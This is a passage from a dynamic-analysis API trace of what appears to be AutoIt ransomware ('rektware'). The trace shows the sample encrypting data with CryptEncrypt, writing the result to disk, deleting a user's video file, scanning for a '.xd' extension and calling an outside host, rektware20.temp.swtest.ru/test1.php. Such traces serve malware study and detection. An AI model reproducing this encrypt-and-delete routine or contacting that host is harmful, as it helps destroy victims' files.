lpMsg=0x130ec34) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.745] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.746] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.746] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.746] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.746] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.746] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.746] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.746] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.746] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.747] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.747] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.747] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15ffb, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16000) returned 1 [0067.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.748] CharLowerBuffW (in: lpsz="byte[90113]", cchLength=0xb | out: lpsz="byte[90113]") returned 0xb [0067.748] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.750] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.751] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.751] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.752] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.752] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.752] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e6b20*, pdwDataLen=0x130e618*=0x15ffb, dwBufLen=0x16000 | out: pbData=0x17e6b20*, pdwDataLen=0x130e618*=0x16000) returned 1 [0067.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.754] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.754] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.754] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.762] WriteFile (in: hFile=0x2ac, lpBuffer=0x1893018*, nNumberOfBytesToWrite=0x16000, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1893018*, lpNumberOfBytesWritten=0x130f01c*=0x16000, lpOverlapped=0x0) returned 1 [0067.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.764] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.764] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.764] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.765] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0067.765] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.765] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.765] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.765] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.765] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.765] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.765] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.765] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.765] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.765] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.765] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.766] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.766] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.766] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.766] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.766] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.766] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.766] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.766] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0067.766] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.766] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.766] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.766] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.766] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.766] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.766] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.766] CloseHandle (hObject=0x3bc) returned 1 [0067.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.768] CloseHandle (hObject=0x2ac) returned 1 [0067.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0067.839] TranslateMessage (lpMsg=0x130f164) returned 0 [0067.839] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0067.839] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0067.843] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0067.843] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0067.843] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.844] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.844] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", lpFilePart=0x0) returned 0x43 [0067.844] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\wwagxyxvomvvje z1.swf")) returned 0x20 [0067.844] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c430 [0067.844] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\wwagxyxvomvvje z1.swf")) returned 1 [0067.846] FindNextFileW (in: hFindFile=0x164c430, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.846] FindClose (in: hFindFile=0x164c430 | out: hFindFile=0x164c430) returned 1 [0067.847] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.847] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.847] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.847] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.847] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0067.847] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.847] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.847] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.847] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.847] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.847] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.847] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0067.847] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.847] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.849] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.856] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.856] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.857] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.857] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.861] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.861] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.861] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.861] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.861] CloseHandle (hObject=0x0) returned 0 [0067.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.861] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 